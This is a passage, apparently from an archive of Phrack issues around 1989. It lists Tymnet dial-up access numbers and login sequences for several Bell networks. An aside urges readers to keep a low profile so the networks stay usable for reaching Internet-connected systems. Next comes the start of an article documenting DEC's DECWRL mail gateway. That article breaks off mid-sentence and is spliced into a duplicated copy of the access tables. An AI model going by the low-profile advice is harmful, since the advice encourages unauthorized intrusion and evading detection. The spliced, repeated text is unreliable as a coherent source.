  13287.   07771   ENGLEWOOD             NEW JERSEY      300/2400 201/871-3000
  13288. @PDN
  13289.   07771   FREEHOLD              NEW JERSEY      300/2400 201/780-8890
  13290. @PDN
  13291.   07771   HACKENSACK            NEW JERSEY      300/2400 201/343-9200
  13292. @PDN
  13293.   07771   JERSEY CITY           NEW JERSEY      300/2400 201/659-3800
  13294. @PDN
  13295.   07771   LIVINGSTON            NEW JERSEY      300/2400 201/533-0561
  13296. @PDN
  13297.   07771   LONG BRANCH/RED BANK  NEW JERSEY      300/2400 201/758-8000
  13298. @PDN
  13299.   07771   MADISON               NEW JERSEY      300/2400 201/593-0004
  13300. @PDN
  13301.   07771   METUCHEN              NEW JERSEY      300/2400 201/906-9500
  13302. @PDN
  13303.   07771   MIDDLETOWN            NEW JERSEY      300/2400 201/957-9000
  13304. @PDN
  13305.   07771   MORRISTOWN            NEW JERSEY      300/2400 201/455-0437
  13306. @PDN
  13307.   07771   NEWARK                NEW JERSEY      300/2400 201/623-0083
  13308. @PDN
  13309.   07771   NEW BRUNSWICK         NEW JERSEY      300/2400 201/247-2700
  13310. @PDN
  13311.   07771   NEW FOUNDLAND         NEW JERSEY      300/2400 201/697-9380
  13312. @PDN
  13313.   07771   PASSAIC               NEW JERSEY      300/2400 201/473-6200
  13314. @PDN
  13315.   07771   PATERSON              NEW JERSEY      300/2400 201/345-7700
  13316. @PDN
  13317.   07771   PHILLIPSBURG          NEW JERSEY      300/2400 201/454-9270
  13318. @PDN
  13319.   07771   POMPTON LAKES         NEW JERSEY      300/2400 201/835-8400
  13320. @PDN
  13321.   07771   RED BANK              NEW JERSEY      300/2400 201/758-8000
  13322. @PDN
  13323.   07771   RIDGEWOOD             NEW JERSEY      300/2400 201/445-4800
  13324. @PDN
  13325.   07771   SOMERVILLE            NEW JERSEY      300/2400 201/218-1200
  13326. @PDN
  13327.   07771   SOUTH RIVER           NEW JERSEY      300/2400 201/390-9100
  13328. @PDN
  13329.   07771   SPRING LAKE           NEW JERSEY      300/2400 201/974-0850
  13330. @PDN
  13331.   07771   TOMS RIVER            NEW JERSEY      300/2400 201/286-3800
  13332. @PDN
  13333.   07771   WASHINGTON            NEW JERSEY      300/2400 201/689-6894
  13334.  
  13335.  
  13336. @PDN
  13337.   07771   WAYNE/PATERSON        NEW JERSEY      300/2400 201/345-7700
  13338. @PDN
  13339.  
  13340.  
  13341.   03526   ALLENTOWN             PENNSYLVANIA    300/1200 215/435-0266
  13342. @PDN
  13343.   11301   ALTOONA               PENNSYLVANIA    300/1200 814/946-8639
  13344. @PDN
  13345.   11301   ALTOONA               PENNSYLVANIA    2400     814/949-0505
  13346. @PDN
  13347.   03526   AMBLER                PENNSYLVANIA    300/1200 215/283-2170
  13348. @PDN
  13349.   10672   AMBRIDGE              PENNSYLVANIA    300/1200 412/266-9610
  13350. @PDN
  13351.   10672   CARNEGIE              PENNSYLVANIA    300/1200 412/276-1882
  13352. @PDN
  13353.   10672   CHARLEROI             PENNSYLVANIA    300/1200 412/483-9100
  13354. @PDN
  13355.   03526   CHESTER HEIGHTS       PENNSYLVANIA    300/1200 215/358-0820
  13356. @PDN
  13357.   03526   COATESVILLE           PENNSYLVANIA    300/1200 215/383-7212
  13358. @PDN
  13359.   10672   CONNELLSVILLE         PENNSYLVANIA    300/1200 412/628-7560
  13360. @PDN
  13361.   03526   DOWNINGTON/COATES.    PENNSYLVANIA    300/1200 215/383-7212
  13362. @PDN
  13363.   03562   DOYLESTOWN            PENNSYLVANIA    300/1200 215/340-0052
  13364. @PDN
  13365.   03562   GERMANTOWN            PENNSYLVANIA    300/1200 215-843-4075
  13366. @PDN
  13367.   10672   GLENSHAW              PENNSYLVANIA    300/1200 412/487-6868
  13368. @PDN
  13369.   10672   GREENSBURG            PENNSYLVANIA    300/1200 412/836-7840
  13370. @PDN
  13371.   11301   HARRISBURG            PENNSYLVANIA    300/1200 717/236-3274
  13372. @PDN
  13373.   11301   HARRISBURG            PENNSYLVANIA    2400     717/238-0450
  13374. @PDN
  13375.   10672   INDIANA               PENNSYLVANIA    300/1200 412/465-7210
  13376. @PDN
  13377.   03526   KING OF PRUSSIA       PENNSYLVANIA    300/1200 215/270-2970
  13378. @PDN
  13379.   03526   KIRKLYN               PENNSYLVANIA    300/1200 215/789-5650
  13380. @PDN
  13381.   03526   LANSDOWNE             PENNSYLVANIA    300/1200 215/626-9001
  13382. @PDN
  13383.   10672   LATROBE               PENNSYLVANIA    300/1200 412/537-0340
  13384. @PDN
  13385.   11301   LEMOYNE/HARRISBURG    PENNSYLVANIA    300/1200 717/236-3274
  13386. @PDN
  13387.   10672   MCKEESPORT            PENNSYLVANIA    300/1200 412/673-6200
  13388. @PDN
  13389.   10672   NEW CASTLE            PENNSYLVANIA    300/1200 412/658-5982
  13390. @PDN
  13391.   10672   NEW KENSINGTON        PENNSYLVANIA    300/1200 412/337-0510
  13392. @PDN
  13393.   03526   NORRISTOWN            PENNSYLVANIA    300/1200 215/270-2970
  13394.  
  13395.  
  13396. @PDN
  13397.   03526   PAOLI                 PENNSYLVANIA    300/1200 215/648-0010
  13398. @PDN
  13399.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/923-7792
  13400. @PDN
  13401.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/557-0659
  13402. @PDN
  13403.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/545-7886
  13404. @PDN
  13405.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/677-0321
  13406. @PDN
  13407.   03562   PHILADELPHIA          PENNSYLVANIA    2400     215/625-0770
  13408. @PDN
  13409.   10672   PITTSBURGH            PENNSYLVANIA    300/1200 412/281-8950
  13410. @PDN
  13411.   10672   PITTSBURGH            PENNSYLVANIA    300/1200 412-687-4131
  13412. @PDN
  13413.   10672   PITTSBURGH            PENNSYLVANIA    2400     412/261-9732
  13414. @PDN
  13415.   10672   POTTSTOWN             PENNSYLVANIA    300/1200 215/327-8032
  13416. @PDN
  13417.   03526   QUAKERTOWN            PENNSYLVANIA    300/1200 215/538-7032
  13418. @PDN
  13419.   03526   READING               PENNSYLVANIA    300/1200 215/375-7570
  13420. @PDN
  13421.   10672   ROCHESTER             PENNSYLVANIA    300/1200 412/728-9770
  13422. @PDN
  13423.   03526   SCRANTON              PENNSYLVANIA    300/1200 717/348-1123
  13424. @PDN
  13425.   03526   SCRANTON              PENNSYLVANIA    2400     717/341-1860
  13426. @PDN
  13427.   10672   SHARON                PENNSYLVANIA    300/1200 412/342-1681
  13428. @PDN
  13429.   03526   TULLYTOWN             PENNSYLVANIA    300/1200 215/547-3300
  13430. @PDN
  13431.   10672   UNIONTOWN             PENNSYLVANIA    300/1200 412/437-5640
  13432. @PDN
  13433.   03562   VALLEY FORGE          PENNSYLVANIA    300/1200 215/270-2970
  13434. @PDN
  13435.   10672   WASHINGTON            PENNSYLVANIA    300/1200 412/223-9090
  13436. @PDN
  13437.   03526   WAYNE                 PENNSYLVANIA    300/1200 215/341-9605
  13438. @PDN
  13439.   10672   WILKINSBURG           PENNSYLVANIA    300/1200 412/241-1006
  13440. @PDN
  13441.  
  13442.  
  13443.   06254   ALEXANDRIA            VIRGINIA        300/1200  703/683-6710
  13444. @PDN
  13445.   06254   ARLINGTON             VIRGINIA        300/1200  703/524-8961
  13446. @PDN
  13447.   06254   FAIRFAX               VIRGINIA        300/1200  703/385-1343
  13448. @PDN
  13449.   06254   MCLEAN                VIRGINIA        300/1200  703/848-2941
  13450. @PDN
  13451.  
  13452.  
  13453.     @PDN BELL ATLANTIC - NETWORK NAME IS PUBLIC DATA NETWORK (PDN)
  13454.  
  13455.  
  13456.  
  13457.  
  13458.              (CONNECT MESSAGE)
  13459.              . _. _. _< _C _R _> _            (SYNCHRONIZES DATA SPEEDS)
  13460.  
  13461.              WELCOME TO THE BPA/DST PDN
  13462.  
  13463.              *. _T _  _< _C _R _> _           (TYMNET ADDRESS)
  13464.  
  13465.  
  13466.              131069             (ADDRESS CONFIRMATION - TYMNET DNIC)
  13467.              COM                (CONFIRMATION OF CALL SET-UP)
  13468.  
  13469.              -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  13470.  
  13471.  
  13472.                                   BELL SOUTH
  13473.  
  13474.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBER
  13475. MODEM
  13476.   -----   --------------------  --------------  ------   ------------
  13477. -----
  13478.   10207   ATLANTA               GEORGIA         300/1200 404/261-4633
  13479. @PLSK
  13480.   10207   ATHENS                GEORGIA         300/1200 404/354-0614
  13481. @PLSK
  13482.   10207   COLUMBUS              GEORGIA         300/1200 404/324-5771
  13483. @PLSK
  13484.   10207   ROME                  GEORGIA         300/1200 404/234/7542
  13485. @PLSK
  13486.  
  13487.  
  13488.     @PLSK  BELLSOUTH - NETWORK NAME IS PULSELINK
  13489.  
  13490.  
  13491.              (CONNECT MESSAGE)
  13492.  
  13493.              . _. _. _  _< _C _R _> _           (SYNCHRONIZES DATA SPEEDS)
  13494.                                 (DOES NOT ECHO TO THE TERMINAL)
  13495.              CONNECTED
  13496.              PULSELINK
  13497.  
  13498.              1 _3 _1 _0 _6 _              (TYMNET ADDRESS)
  13499.                                 (DOES NOT ECHO TO THE TERMINAL)
  13500.  
  13501.              PULSELINK: CALL CONNECTED TO 1 3106
  13502.  
  13503.              -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  13504.  
  13505.  
  13506.                                  PACIFIC BELL
  13507.  
  13508.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBER
  13509. NTWK
  13510.   -----   -------------------   --------------  ------   ------------
  13511. ----
  13512.   03306   BERKELEY              CALIFORNIA      300/1200 415-548-2121
  13513. @PPS
  13514.  
  13515.  
  13516.   06272   EL SEGUNDO            CALIFORNIA      300/1200 213-640-8548
  13517. @PPS
  13518.   06272   FULLERTON             CALIFORNIA      300/1200 714-441-2777
  13519. @PPS
  13520.   06272   INGLEWOOD             CALIFORNIA      300/1200 213-216-7667
  13521. @PPS
  13522.   06272   LOS ANGELES(DOWNTOWN) CALIFORNIA      300/1200 213-687-3727
  13523. @PPS
  13524.   06272   LOS ANGELES           CALIFORNIA      300/1200 213-480-1677
  13525. @PPS
  13526.   03306   MOUNTAIN VIEW         CALIFORNIA      300/1200 415-960-3363
  13527. @PPS
  13528.   03306   OAKLAND               CALIFORNIA      300/1200 415-893-9889
  13529. @PPS
  13530.   03306   PALO ALTO             CALIFORNIA      300/1200 415-325-4666
  13531. @PPS
  13532.   06272   PASADENA              CALIFORNIA      300/1200 818-356-0780
  13533. @PPS
  13534.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-543-8275
  13535. @PPS
  13536.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-626-5380
  13537. @PPS
  13538.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-362-2280
  13539. @PPS
  13540.   03306   SAN JOSE              CALIFORNIA      300/1200 408-920-0888
  13541. @PPS
  13542.   06272   SANTA ANNA            CALIFORNIA      300/1200 714-972-9844
  13543. @PPS
  13544.   06272   VAN NUYS              CALIFORNIA      300/1200 818-780-1066
  13545. @PPS
  13546.  
  13547.  
  13548.     @PPS   PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)
  13549.  
  13550.              (CONNECT MESSAGE)
  13551.  
  13552.              . _. _. _< _C _R _             (SYNCHRONIZES DATA SPEEDS)>
  13553.                                 (DOES NOT ECHO TO THE TERMINAL)
  13554.  
  13555.              ONLINE 1200
  13556.              WELCOME TO PPS:  415-XXX-XXXX
  13557.              1 _3 _1 _0 _6 _9 _             (TYMNET ADDRESS)
  13558.                                 (DOES NOT ECHO UNTIL TYMNET RESPONDS)
  13559.  
  13560.          -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  13561.  
  13562.                                SOUTHWESTERN BELL
  13563.  
  13564.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBERS
  13565. NWRK
  13566.   -----   --------------------  --------------  -------  ------------
  13567. -----
  13568.   05443   KANSAS CITY           KANSAS          300/1200 316/225-9951
  13569. @MRLK
  13570.   05443   HAYS                  KANSAS          300/1200 913/625-8100
  13571. @MRLK
  13572.   05443   HUTCHINSON            KANSAS          300/1200 316/669-1052
  13573. @MRLK
  13574.  
  13575.  
  13576.   05443   LAWRENCE              KANSAS          300/1200 913/841-5580
  13577. @MRLK
  13578.   05443   MANHATTAN             KANSAS          300/1200 913/539-9291
  13579. @MRLK
  13580.   05443   PARSONS               KANSAS          300/1200 316/421-0620
  13581. @MRLK
  13582.   05443   SALINA                KANSAS          300/1200 913/825-4547
  13583. @MRLK
  13584.   05443   TOPEKA                KANSAS          300/1200 913/235-1909
  13585. @MRLK
  13586.   05443   WICHITA               KANSAS          300/1200 316/269-1996
  13587. @MRLK
  13588.  
  13589.  
  13590.   04766   BRIDGETON/ST. LOUIS   MISSOURI        300/1200 314/622-0900
  13591. @MRLK
  13592.   04766   ST. LOUIS             MISSOURI        300/1200 314/622-0900
  13593. @MRLK
  13594.  
  13595.  
  13596.   06510   ADA                   OKLAHOMA        300/1200 405/4
  13597.  
  13598.  
  13599. On a side note, the recent book The Cuckoo's Egg provides some interesting
  13600. information (in the form of a story, however) on a Tymnet hacker.  Remember
  13601. that he was into BIG things, and hence he was cracked down upon.  If you
  13602. keep a
  13603. low profile, networks should provide a good access method.
  13604.  
  13605. If you can find a system that is connected to the Internet that you can get
  13606. on
  13607. from Tymnet, you are doing well.
  13608. ___________________________________________________________________________╝____
  13609.  
  13610.  
  13611.                                 ==Phrack Inc.==
  13612.  
  13613.                      Volume Three, Issue 30, File #5 of 12
  13614.  
  13615.                     ()()()()()()()()()()()()()()()()()()()
  13616.                     ()                                  ()
  13617.                     ()      The DECWRL Mail Gateway     ()
  13618.                     ()                                  ()
  13619.                     ()         by Dedicated Link        ()
  13620.                     ()                                  ()
  13621.                     ()        September 20, 1989        ()
  13622.                     ()                                  ()
  13623.                     ()()()()()()()()()()()()()()()()()()()
  13624.  
  13625.  
  13626. INTRODUCTION
  13627.  
  13628. DECWRL is a mail gateway computer operated by Digital's Western Research
  13629. Laboratory in Palo Alto, California.  Its purpose is to support the
  13630. interchange
  13631. of electronic mail between Digital and the "outside world."
  13632.  
  13633.  
  13634.  
  13635. DECWRL is connected to Digital's Easynet, and also to a number of different
  13636. outside electronic mail networks.  Digital users can send outside mail by
  13637. sending to DECWRL::"outside-address", and digital users can also receive
  13638. mail
  13639. by having your correspondents route it through DECWRL.  The details of
  13640. incoming
  13641. mail are more complex, and are discussed below.
  13642.  
  13643. It is vitally important that Digital employees be good citizens of the
  13644. networks
  13645. to which we are connected.  They depend on the integrity of our user
  13646. community
  13647. to ensure that tighter controls over the use of the gateway are not
  13648. required.
  13649. The most important rule is "no chain letters," but there are other rules
  13650. depending on whether the connected network that you are using is commercial
  13651. or
  13652. non-commercial.
  13653.  
  13654. The current traffic volume (September 1989) is about 10,000 mail messages
  13655. per
  13656. day and about 3,000 USENET messages per day.  Gatewayed mail traffic has
  13657. doubled every year since 1983.  DECWRL is currently a Vax 8530 computer
  13658. with 48
  13659. megabytes of main memory, 2500 megabytes of disk space, 8 9600-baud
  13660. (Telebit)
  13661. modem ports, and various network connections.  They will shortly be
  13662. upgrading
  13663. to a Vax 8650 system.  They run Ultrix 3.0 as the base operating system.
  13664.  
  13665.  
  13666. ADMINISTRATION
  13667.  
  13668. The gateway has engineering staff, but no administrative or clerical staff.
  13669. They work hard to keep it running, but they do not have the resources to
  13670. answer
  13671. telephone queries or provide tutorials in its use.
  13672.  
  13673. They post periodic status reports to the USENET newsgroup dec.general.
  13674. Various
  13675. helpful people usually copy these reports to the VAXNOTES "gateways"
  13676. conference
  13677. within a day or two.
  13678.  
  13679.  
  13680. HOW TO SEND MAIL
  13681.  
  13682. DECWRL is connected to quite a number of different mail networks.  If you
  13683. were
  13684. logged on directly to it, you could type addresses directly, e.g.
  13685.  
  13686.     To: strange!foreign!address.
  13687.  
  13688. But since you are not logged on directly to the gateway, you must send mail
  13689. so
  13690. that when it arrives at the gateway, it will be sent as if that address had
  13691. been typed locally.
  13692.  
  13693.  
  13694.  
  13695.  
  13696. * Sending from VMS
  13697.  
  13698. If you are a VMS user, you should use NMAIL, because VMS mail does not know
  13699. how
  13700. to requeue and retry mail when the network is congested or disconnected.
  13701. From
  13702. VMS, address your mail like this:
  13703.  
  13704.     To: nm%DECWRL::"strange!foreign!address"
  13705.  
  13706. The quote characters (") are important, to make sure that VMS doesn't try
  13707. to
  13708. interpret strange!foreign!address itself.  If you are typing such an
  13709. address
  13710. inside a mail program, it will work as advertised.  If you are using DCL
  13711. and
  13712. typing directly to the command line, you should beware that DCL likes to
  13713. remove
  13714. quotes, so you will have to enclose the entire address in quotes, and then
  13715. put
  13716. two quotes in every place that one quote should appear in the address:
  13717.  
  13718.     $ mail test.msg "nm%DECWRL::""foreign!addr""" /subj="hello"
  13719.  
  13720. Note the three quotes in a row after foreign!addr.  The first two of them
  13721. are
  13722. doubled to produce a single quote in the address, and the third ends the
  13723. address itself (balancing the quote in front of the nm%).
  13724.  
  13725. Here are some typical outgoing mail addresses as used from a VMS system:
  13726.  
  13727.     To: nm%DECWRL::"lll-winkin!netsys!phrack"
  13728.     To: nm%DECWRL::"postmaster@msp.pnet.sc.edu"
  13729.     To: nm%DECWRL::"netsys!phrack@uunet.uu.net"
  13730.     To: nm%DECWRL::"phrackserv@CUNYVM.bitnet"
  13731.     To: nm%DECWRL::"Chris.Jones@f654.n987.z1.fidonet.org"
  13732.  
  13733.  
  13734. * Sending from Ultrix
  13735.  
  13736. If your Ultrix system has been configured for it, then you can, from your
  13737. Ultrix system, just send directly to the foreign address, and the mail
  13738. software
  13739. will take care of all of the gateway routing for you.  Most Ultrix systems
  13740. in
  13741. Corporate Research and in the Palo Alto cluster are configured this way.
  13742.  
  13743. To find out whether your Ultrix system has been so configured, just try it
  13744. and
  13745. see what happens.  If it doesn't work, you will receive notification almost
  13746. instantly.
  13747.  
  13748.     NOTE:  The Ultrix mail system is extremely flexible; it is almost
  13749.     completely configurable by the customer.  While this is valuable to
  13750.     customers, it makes it very difficult to write global instructions for
  13751.     the use of Ultrix mailers, because it is possible that the local
  13752. changes
  13753.  
  13754.  
  13755.     have produced something quite unlike the vendor-delivered mailer.  One
  13756. of
  13757.     the popular changes is to tinker with the meaning of quote characters
  13758. (")
  13759.     in Ultrix addresses.  Some systems consider that these two addresses
  13760. are
  13761.     the same:
  13762.  
  13763.         site1!site2!user@host.dec.com
  13764.  
  13765.     and
  13766.  
  13767.         "site1!site2!user"@host.dec.com
  13768.  
  13769.     while others are configured so that one form will work and the other
  13770.     will not.  All of these examples use the quotes.  If you have trouble
  13771.     getting the examples to work, please try them again without the quotes.
  13772.     Perhaps your Ultrix system is interpreting the quotes differently.
  13773.  
  13774. If your Ultrix system has an IP link to Palo Alto (type "/etc/ping
  13775. decwrl.dec.com" to find out if it does), then you can route your mail to
  13776. the
  13777. gateway via IP.  This has the advantage that your Ultrix mail headers will
  13778. reach the gateway directly, instead of being translated into DECNET mail
  13779. headers and then back into Ultrix at the other end.  Do this as follows:
  13780.  
  13781.     To: "alien!address"@decwrl.dec.com
  13782.  
  13783. The quotes are necessary only if the alien address contains a ! character,
  13784. but
  13785. they don't hurt if you use them unnecessarily.  If the alien address
  13786. contains
  13787. an "@" character, you will need to change it into a "%" character.  For
  13788. example, to send via IP to joe@widget.org, you should address the mail
  13789.  
  13790.     To: "joe%widget.org"@decwrl.dec.com
  13791.  
  13792. If your Ultrix system has only a DECNET link to Palo Alto, then you should
  13793. address mail in much the same way that VMS users do, save that you should
  13794. not
  13795. put the nm% in front of the address:
  13796.  
  13797.     To: DECWRL::"strange!foreign!address"
  13798.  
  13799. Here are some typical outgoing mail addresses as used from an Ultrix system
  13800. that has IP access.  Ultrix systems without IP access should use the same
  13801. syntax as VMS users, except that the nm% at the front of the address should
  13802. not
  13803. be used.
  13804.  
  13805.     To: "lll-winken!netsys!phrack"@decwrl.dec.com
  13806.     To: "postmaster%msp.pnet.sc.edu"@decwrl.dec.com
  13807.     To: "phrackserv%CUNYVM.bitnet"@decwrl.dec.com
  13808.     To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com
  13809.     To: "Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com
  13810.  
  13811.  
  13812. DETAILS OF USING OTHER NETWORKS
  13813.  
  13814.  
  13815.  
  13816. All of the world's computer networks are connected together, more or less,
  13817. so
  13818. it is hard to draw exact boundaries between them.  Precisely where the
  13819. Internet
  13820. ends and UUCP begins is a matter of interpretation.
  13821.  
  13822. For purposes of sending mail, though, it is convenient to divide the
  13823. network
  13824. universe into these categories:
  13825.  
  13826. Easynet         Digital's internal DECNET network.  Characterized by
  13827. addresses
  13828.                 of the form NODE::USER.  Easynet can be used for commercial
  13829.                 purposes.
  13830.  
  13831. Internet        A collection of networks including the old ARPAnet, the
  13832. NSFnet,
  13833.                 the CSnet, and others.  Most international research,
  13834.                 development, and educational organizations are connected in
  13835.                 some fashion to the Internet.  Characterized by addresses
  13836. of
  13837.                 the form user@site.subdomain.domain.  The Internet itself
  13838.                 cannot be used for commercial purposes.
  13839.  
  13840. UUCP            A very primitive network with no management, built with
  13841.                 auto-dialers phoning one computer from another.
  13842. Characterized
  13843.                 by addresses of the form place1!place2!user.  The UUCP
  13844. network
  13845.                 can be used for commercial purposes provided that none of
  13846. the
  13847.                 sites through which the message is routed objects to that.
  13848.  
  13849. USENET          Not a network at all, but a layer of software built on top
  13850. of
  13851.                 UUCP and Internet.
  13852.  
  13853. BITNET          An IBM-based network linking primarily educational sites.
  13854.                 Digital users can send to BITNET as if it were part of
  13855.                 Internet, but BITNET users need special instructions for
  13856.                 reversing the process.  BITNET cannot be used for
  13857. commercial
  13858.                 purposes.
  13859.  
  13860. Fidonet         A network of personal computers.  I am unsure of the status
  13861. of
  13862.                 using Fidonet for commercial purposes, nor am I sure of its
  13863.                 efficacy.
  13864.  
  13865.  
  13866. DOMAINS AND DOMAIN ADDRESSING
  13867.  
  13868. There is a particular network called "the Internet;" it is somewhat related
  13869. to
  13870. what used to be "the ARPAnet."  The Internet style of addressing is
  13871. flexible
  13872. enough that people use it for addressing other networks as well, with the
  13873.  
  13874.  
  13875. result that it is quite difficult to look at an address and tell just what
  13876. network it is likely to traverse.  But the phrase "Internet address" does
  13877. not
  13878. mean "mail address of some computer on the Internet" but rather "mail
  13879. address
  13880. in the style used by the Internet."  Terminology is even further confused
  13881. because the word "address" means one thing to people who build networks and
  13882. something entirely different to people who use them.  In this file an
  13883. "address"
  13884. is something like "mike@decwrl.dec.com" and not "192.1.24.177" (which is
  13885. what
  13886. network engineers would call an "internet address").
  13887.  
  13888. The Internet naming scheme uses hierarchical domains, which despite their
  13889. title
  13890. are just a bookkeeping trick.  It doesn't really matter whether you say
  13891. NODE::USER or USER@NODE, but what happens when you connect two companies'
  13892. networks together and they both have a node ANCHOR??  You must, somehow,
  13893. specify which ANCHOR you mean.  You could say ANCHOR.DEC::USER or
  13894. DEC.ANCHOR::USER or USER@ANCHOR.DEC or USER@DEC.ANCHOR.  The Internet
  13895. convention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name
  13896. (ANCHOR).
  13897.  
  13898. But there could be several different organizations named DEC.  You could
  13899. have
  13900. Digital Equipment Corporation or Down East College or Disabled Education
  13901. Committee.  The technique that the Internet scheme uses to resolve
  13902. conflicts
  13903. like this is to have hierarchical domains.  A normal domain isn't DEC or
  13904. STANFORD, but DEC.COM (commercial) and STANFORD.EDU (educational).  These
  13905. domains can be further divided into ZK3.DEC.COM or CS.STANFORD.EDU.  This
  13906. doesn't resolve conflicts completely, though:  both Central Michigan
  13907. University
  13908. and Carnegie-Mellon University could claim to be CMU.EDU.  The rule is that
  13909. the
  13910. owner of the EDU domain gets to decide, just as the owner of the CMU.EDU
  13911. gets
  13912. to decide whether the Electrical Engineering department or the Elementary
  13913. Education department gets subdomain EE.CMU.EDU.
  13914.  
  13915. The domain scheme, while not perfect, is completely extensible.  If you
  13916. have
  13917. two addresses that can potentially conflict, you can suffix some domain to
  13918. the
  13919. end of them, thereby making, say, decwrl.UUCP be somehow different from
  13920. DECWRL.ENET.
  13921.  
  13922. DECWRL's entire mail system is organized according to Internet domains, and
  13923. in
  13924. fact we handle all mail internally as if it were Internet mail.  Incoming
  13925. mail
  13926. is converted into Internet mail, and then routed to the appropriate domain;
  13927. if
  13928. that domain requires some conversion, then the mail is converted to the
  13929. requirements of the outbound domain as it passes through the gateway.  For
  13930. example, they put Easynet mail into the domain ENE           STATE
  13931. DENSITY  ACCESS NUMBER  NTWK
  13932.   -----   -------------------   --------------  ------   ------------
  13933.  
  13934.  
  13935. ----
  13936.   03306   BERKELEY              CALIFORNIA      300/1200 415-548-2121
  13937. @PPS
  13938.   06272   EL SEGUNDO            CALIFORNIA      300/1200 213-640-8548
  13939. @PPS
  13940.   06272   FULLERTON             CALIFORNIA      300/1200 714-441-2777
  13941. @PPS
  13942.   06272   INGLEWOOD             CALIFORNIA      300/1200 213-216-7667
  13943. @PPS
  13944.   06272   LOS ANGELES(DOWNTOWN) CALIFORNIA      300/1200 213-687-3727
  13945. @PPS
  13946.   06272   LOS ANGELES           CALIFORNIA      300/1200 213-480-1677
  13947. @PPS
  13948.   03306   MOUNTAIN VIEW         CALIFORNIA      300/1200 415-960-3363
  13949. @PPS
  13950.   03306   OAKLAND               CALIFORNIA      300/1200 415-893-9889
  13951. @PPS
  13952.   03306   PALO ALTO             CALIFORNIA      300/1200 415-325-4666
  13953. @PPS
  13954.   06272   PASADENA              CALIFORNIA      300/1200 818-356-0780
  13955. @PPS
  13956.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-543-8275
  13957. @PPS
  13958.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-626-5380
  13959. @PPS
  13960.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-362-2280
  13961. @PPS
  13962.   03306   SAN JOSE              CALIFORNIA      300/1200 408-920-0888
  13963. @PPS
  13964.   06272   SANTA ANNA            CALIFORNIA      300/1200 714-972-9844
  13965. @PPS
  13966.   06272   VAN NUYS              CALIFORNIA      300/1200 818-780-1066
  13967. @PPS
  13968.  
  13969.  
  13970.     @PPS   PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)
  13971.  
  13972.              (CONNECT MESSAGE)
  13973.  
  13974.              . _. _. _< _C _R _             (SYNCHRONIZES DATA SPEEDS)>
  13975.                                 (DOES NOT ECHO TO THE TERMINAL)
  13976.  
  13977.              ONLINE 1200
  13978.              WELCOME TO PPS:  415-XXX-XXXX
  13979.              1 _3 _1 _0 _6 _9 _             (TYMNET ADDRESS)
  13980.                                 (DOES NOT ECHO UNTIL TYMNET RESPONDS)
  13981.  
  13982.          -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  13983.  
  13984.                                SOUTHWESTERN BELL
  13985.  
  13986.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBERS
  13987. NWRK
  13988.   -----   --------------------  --------------  -------  ------------
  13989. -----
  13990.   05443   KANSAS CITY           KANSAS          300/1200 316/225-9951
  13991. @MRLK
  13992.   05443   HAYS                  KANSAS          300/1200 913/625-8100
  13993.  
  13994.  
  13995. @MRLK
  13996.   05443   HUTCHINSON            KANSAS          300/1200 316/669-1052
  13997. @MRLK
  13998.   05443   LAWRENCE              KANSAS          300/1200 913/841-5580
  13999. @MRLK
  14000.   05443   MANHATTAN             KANSAS          300/1200 913/539-9291
  14001. @MRLK
  14002.   05443   PARSONS               KANSAS          300/1200 316/421-0620
  14003. @MRLK
  14004.   05443   SALINA                KANSAS          300/1200 913/825-4547
  14005. @MRLK
  14006.   05443   TOPEKA                KANSAS          300/1200 913/235-1909
  14007. @MRLK
  14008.   05443   WICHITA               KANSAS          300/1200 316/269-1996
  14009. @MRLK
  14010.  
  14011.  
  14012.   04766   BRIDGETON/ST. LOUIS   MISSOURI        300/1200 314/622-0900
  14013. @MRLK
  14014.   04766   ST. LOUIS             MISSOURI        300/1200 314/622-0900
  14015. @MRLK
  14016.  
  14017.  
  14018.   06510   ADA                   OKLAHOMA        300/1200 405/436-0252
  14019. @MRLK
  14020.   06510   ALTUS                 OKLAHOMA        300/1200 405/477-0321
  14021. @MRLK
  14022.   06510   ALVA                  OKLAHOMA        300/1200 405/327-1441
  14023. @MRLK
  14024.   06510   ARDMORE               OKLAHOMA        300/1200 405/223-8086
  14025. @MRLK
  14026.   03167   BARTLESVILLE          OKLAHOMA        300/1200 918/336-6901
  14027. @MRLK
  14028.   06510   CLINTON               OKLAHOMA        300/1200 405/323-8102
  14029. @MRLK
  14030.   06510   DURANT                OKLAHOMA        300/1200 405/924-2680
  14031. @MRLK
  14032.   06510   ENID                  OKLAHOMA        300/1200 405/242-8221
  14033. @MRLK
  14034.   06510   LAWTON                OKLAHOMA        300/1200 405/248-8772
  14035. @MRLK
  14036.   03167   MCALESTER             OKLAHOMA        300/1200 918/426-0900
  14037. @MRLK
  14038.   03167   MIAMI                 OKLAHOMA        300/1200 918/540-1551
  14039. @MRLK
  14040.   03167   MUSKOGEE              OKLAHOMA        300/1200 918/683-1114
  14041. @MRLK
  14042.   06510   OKLAHOMA CITY         OKLAHOMA        300/1200 405/236-0660
  14043. @MRLK
  14044.   06510   PONCA CITY            OKLAHOMA        300/1200 405/762-9926
  14045. @MRLK
  14046.   03167   SALLISAW              OKLAHOMA        300/1200 918/775-7713
  14047. @MRLK
  14048.   06510   SHAWNEE               OKLAHOMA        300/1200 405/273-0053
